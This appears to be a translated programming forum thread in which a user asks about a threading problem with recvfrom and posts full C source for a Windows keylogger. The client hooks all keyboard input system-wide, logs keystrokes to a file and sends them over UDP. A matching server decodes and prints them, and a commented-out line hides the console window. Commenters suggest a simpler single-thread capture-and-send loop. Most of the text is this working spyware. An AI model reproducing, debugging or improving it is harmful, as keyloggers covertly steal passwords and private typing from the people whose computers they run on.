Faced a problem when the recvfrom function, being blocking itself, suddenly becomes non-blocking (as seen on the client), if you create a new stream, it does not wait for the data, but simply skips execution. How to make the client recvfrom expect data from the server specifically in the second stream ?

I attach client codes ...

 #define _WINSOCK_DEPRECATED_NO_WARNINGS #define _CRT_SECURE_NO_WARNINGS #include <WinSock2.h> #include <stdio.h> #include <malloc.h> #include <locale.h> #include <stdlib.h> #include <windows.h> char message[7]; char buf[2]; DWORD str[2]; DWORD mass[1]; SOCKADDR_IN si_other; int fl = 0, Hsumbol = 0, flag = 1; int slen = sizeof(si_other); int error; SOCKET connection() { WSADATA wsa; if (FAILED(WSAStartup(MAKEWORD(2, 2), &wsa))) { error = WSAGetLastError(); WSACleanup(); return 0; } SOCKET s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (!s) { error = WSAGetLastError(); WSACleanup(); return 0; } memset((char *)&si_other, 0, sizeof(si_other)); si_other.sin_family = AF_INET; si_other.sin_port = htons(16435); si_other.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); return s; } SOCKET s; LRESULT CALLBACK KeyboardHook(int nCode, WPARAM wParam, LPARAM lParam) { HKL c = GetKeyboardLayout(0); if ((GetKeyState(VK_LSHIFT) & GetKeyState(VK_LMENU) & 0x0100) || (GetKeyState(VK_LSHIFT) & GetKeyState(VK_LCONTROL) & 0x0100)) c = ActivateKeyboardLayout(HKL_PREV, 0); if (nCode == HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) { BYTE keyarray[256]; GetKeyboardState(keyarray); DWORD vk = ((LPKBDLLHOOKSTRUCT)lParam)->vkCode; ToAsciiEx(vk, ((LPKBDLLHOOKSTRUCT)lParam)->scanCode,keyarray, (LPWORD)buf,0,c); Hsumbol++; FILE* f = fopen("symbols.txt", "a"); fprintf(f, "%lu ", vk); fprintf(f, "%lu ", (DWORD)buf[0]); fprintf(f, "%lu ", (DWORD)buf[1]); fclose(f); if (vk == 0x1b) { PostQuitMessage(0); } } return CallNextHookEx(NULL, nCode, wParam, lParam); } DWORD WINAPI sender() { flag = 0; int a = 0; memset(message, '\0', 7); recvfrom(s, (char *)message, 6, 0, (struct sockaddr *) &si_other, &slen); //error = WSAGetLastError(); //printf("%i\n",error); if (strcmp(message, "all ok") == 0) { char zam[1]; zam[0] = Hsumbol; FILE *f; sendto(s, zam, sizeof(zam), 0, (struct sockaddr *) &si_other, slen); f = fopen("symbols.txt", "r"); int j = 1, k = 1; while ((j - 1) < Hsumbol) { fscanf(f, "%lu", &mass[0]); fseek(f, 1, SEEK_CUR); fscanf(f, "%lu", &str[0]); fseek(f, 1, SEEK_CUR); fscanf(f, "%lu", &str[1]); sendto(s, mass, sizeof(mass), 0, (struct sockaddr *) &si_other, slen); sendto(s, str, sizeof(str), 0, (struct sockaddr *) &si_other, slen); j++; } Hsumbol = 0; fclose(f); f = fopen("symbols.txt", "w"); fclose(f); flag = 1; } return 0; } void main() { //ShowWindow(GetConsoleWindow(), SW_HIDE); if (!(s = connection())) exit(1); setlocale(LC_ALL, "RUSSIAN"); FILE *f = fopen("symbols.txt", "w"); fclose(f); HANDLE thread; HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHook, GetModuleHandle(NULL), 0); if (hook) { while (WaitMessage()) { if(flag) thread = CreateThread(NULL, 0, sender, NULL, 0, NULL); MSG msg = { 0 }; while(PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) { if (msg.message == WM_QUIT) { UnhookWindowsHookEx(hook); closesocket(s); WSACleanup(); exit(1); } TranslateMessage(&msg); DispatchMessage(&msg); } } } } 

... and server

 #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <locale.h> #include <WinSock2.h> #include <Windows.h> DWORD string[3]; SOCKADDR_IN si_other; BOOL system_key(const DWORD vkCode) { switch (vkCode) { case VK_ESCAPE: printf("[ESC]"); break; case VK_RMENU: printf("[R ALT]"); break; case VK_RETURN: printf("[ENTER]\n"); break; case VK_LMENU: printf("[L ALT]"); break; case VK_TAB: printf("[TAB]\t"); break; case VK_BACK: printf("[BS]"); break; case VK_CAPITAL: printf("[CAPS]"); break; case VK_DELETE: printf("[DEL]"); break; case VK_RSHIFT: printf("[R SHIFT]"); break; case VK_LSHIFT: printf("[L SHIFT]"); break; case VK_RCONTROL: printf("[R CTRL]"); break; case VK_LCONTROL: printf("[L CTRL]"); break; case 0x90: printf("[NUM LOCK]"); break; case 0x5D: printf("[R MENU]"); break; case 0x25: printf("[ARROW L]"); break; case 0x26: printf("[ARROW UP]"); break; case 0x27: printf("[ARROW R]"); break; case 0x28: printf("[ARROW DOWN]"); break; case 0x70: printf("[F1]"); break; case 0x71: printf("[F2]"); break; case 0x72: printf("[F3]"); break; case 0x73: printf("[F4]"); break; case 0x74: printf("[F5]"); break; case 0x75: printf("[F6]"); break; case 0x76: printf("[F7]"); break; case 0x77: printf("[F8]"); break; case 0x78: printf("[F9]"); break; case 0x79: printf("[F10]"); break; case 0x7A: printf("[F11]"); break; case 0x7B: printf("[F12]"); break; case VK_INSERT: printf("[INSERT]"); break; case VK_HOME: printf("[HOME]"); break; case VK_END: printf("[END]"); break; case VK_PAUSE: printf("[PAUSE]"); break; case VK_PRINT: printf("[PRTSC]"); break; case VK_VOLUME_UP: printf("[VOLUME_UP]"); break; case VK_VOLUME_DOWN: printf("[VOLUME_DOWN]"); break; case VK_VOLUME_MUTE: printf("[VOLUME_MUTE]"); break; case VK_MEDIA_PLAY_PAUSE: printf("[MEDIA_PLAY_PAUSE]"); break; case VK_MEDIA_STOP: printf("[MEDIA_STOP]"); break; case VK_MEDIA_PREV_TRACK: printf("[|<<]"); break; case VK_MEDIA_NEXT_TRACK: printf("[>>|]"); break; case VK_SCROLL: printf("[SCR_LK]"); break; case VK_SLEEP: printf("[SLEEP]"); break; default: return FALSE; } return TRUE; } SOCKET listen_socket() { printf("i'm working - server-1!\n"); WSADATA wsa; if (WSAStartup(MAKEWORD(2, 2), &wsa)) { printf("winsock not initialized\n"); WSACleanup(); return 0; } printf("winsock initialized\n"); SOCKET s = socket(AF_INET, SOCK_DGRAM, 0); if (!s) { printf("socket not initialized\n"); WSACleanup(); return 0; } printf("socket initialized\n"); si_other.sin_family = AF_INET; si_other.sin_addr.s_addr = INADDR_ANY; si_other.sin_port = htons(16435); if (bind(s, (struct sockaddr*)&si_other, sizeof(si_other)) == SOCKET_ERROR) { printf("error bind socket\n"); closesocket(s); WSACleanup(); return 0; } printf("binding success\n"); return s; } void main() { setlocale(LC_ALL, "RUSSIAN"); SOCKET s; int slen; int i=0; s = listen_socket(); DWORD syskey; char key[2]; char un[1]; slen = sizeof(si_other); while (1) { sendto(s, "all ok", sizeof("all ok"), 0, (struct sockaddr *) &si_other, slen); int j = 0; recvfrom(s, un, sizeof(un), 0, (struct sockaddr *) &si_other, &slen); i = un[0]; while (j < i) { recvfrom(s, string, sizeof(string), 0, (struct sockaddr *) &si_other, &slen); syskey = string[0]; recvfrom(s, string, sizeof(string), 0, (struct sockaddr *) &si_other, &slen); key[0] = (char)string[0]; key[1] = (char)string[1]; if (!system_key(syskey)) printf("%s", key); j++; } if (syskey == 0x1b) break; } printf("End of working keylogger\n"); system("pause"); } 
  • it seems like this function, as well as send, in any case cannot be used simultaneously in several threads since the OS in this case does not guarantee any data integrity. I didn’t look at your huge code on bare shots, but I think that you can opt out of the second thread, especially for recv, anyway, use the semaphore on the last one - KG
  • @KG The semaphore is a bit wrong ... If you use the semaphore in the main thread, it blocks the entire program (which I really do not need), but with this I need the program to wait for the server’s response as much as necessary, while executing the code in normal mode. The streams would have come in handy (for if the recvfrom blocked another stream waiting for an answer, then this is good) - Lejko7
  • Well, tyk, do not use the semaphore in the main thread, my tcp is absolutely always and the whole thread does NOT spin in the main thread (well, except connect if the program is completely unpretentious) ... And if you are engaged in architecture, then it isn’t a C box that distracts you from architecture and makes bother with the details, and write to HLM, it will be easier for you and those who answer the question - KG
  • @KG This is a keylogger program. I need to write it. And in Java, he, according to the information I collected, is not written. therefore, I need to arrange the second stream (!!!) - Lejko7
  • Why in Java? Do you seriously think that in 20 years not one native compilation tool has appeared under Windows? yes even delphi and the builder, everything is better than si. and why for recv keylogger in different streams? the keylogger just has to have a loop with GetAsyncKeyState, got that key pressed - sent a message to the server, received a response from the server, and again wait for GetAsyncKeyState. only 1 stream - KG

0